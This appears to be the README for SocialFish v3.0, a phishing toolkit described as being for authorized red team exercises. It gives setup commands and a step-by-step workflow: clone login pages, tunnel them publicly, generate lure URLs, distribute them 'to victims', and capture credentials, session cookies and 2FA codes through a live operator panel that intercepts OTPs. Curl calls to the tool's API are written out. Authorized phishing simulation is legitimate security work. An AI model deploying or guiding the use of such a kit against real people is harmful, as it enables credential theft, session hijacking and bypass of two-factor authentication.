
Modern dynamic phishing toolkit for authorized red team exercises. Clones login pages, captures credentials, cookies, and 2FA codes with a live operator panel and tunneling support.
SocialFish v3.0 brings powerful new features for cloning modern login pages, capturing cookies, and intercepting 2FA codes with a live operator panel.
python setup.py
This will:
pip install -r requirements.txt
playwright install chromium
python SocialFish.py admin password
Then access: http://localhost:5000/neptune
Create Template
/templates → New Template → Enter target URL
Setup Tunnel (optional, for remote testing)
Click "Tunnel" → Choose ngrok/cloudflared → Authorize
Generate Lure URL
Click "Lure" → Copy unguessable URL
Send to Victims
Distribute lure URL in emails, messages, etc.
Monitor in Real-Time
/sessions → View captured credentials, cookies, OTP codes
/admin/otp_panel.html → Intercept & inject 2FA codes
both (credentials + cookies), login (credentials only), cookies (session only)Works with any login page that uses:
# List templates
curl http://localhost:5000/templates
# Generate lure URL
curl -X POST http://localhost:5000/lure/generate \
-d "template_id=1"
# View session
curl http://localhost:5000/session/1
# Setup
python setup.py # Interactive setup
# Tunneling
python core/tunnel_manager.py setup
python core/tunnel_manager.py start --type ngrok
# Database
python core/db_migration.py
SocialFish/
├── SocialFish.py # Main Flask app
├── setup.py # Interactive setup wizard
├── FEATURES_v3.md # Feature documentation
├── IMPLEMENTATION_SUMMARY.md # Technical details
├── core/
│ ├── recorder_playwright.py # Browser automation
│ ├── cookie_inspector.py # Cookie analysis
│ ├── tunnel_manager.py # Tunneling support
│ ├── db_migration.py # Database schema
│ └── ... (other modules)
└── templates/
└── admin/
├── templates.html # Templates library UI
├── otp_panel.html # OTP interception UI
├── sessions.html # Session management UI
└── ... (other templates)
⚠️ EDUCATIONAL USE ONLY
See CODE_OF_CONDUCT.md and LICENSE for details.
Looking for the mobile controller? Check SocialFishMobile
TO BE USED FOR EDUCATIONAL PURPOSES ONLY
The use of the SocialFish is COMPLETE RESPONSIBILITY of the END-USER. Developers assume NO liability and are NOT responsible for any misuse or damage caused by this program.
"DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
Taken from LICENSE.
Run with Docker:
docker compose up
Status: Production-ready for authorized security testing and red team exercises
We encourage you to contribute to SocialFish! Please check out the Contributing to SocialFish guide for guidelines about how to proceed. Join us!
@carinamary2448 - https://github.com/carinamary2448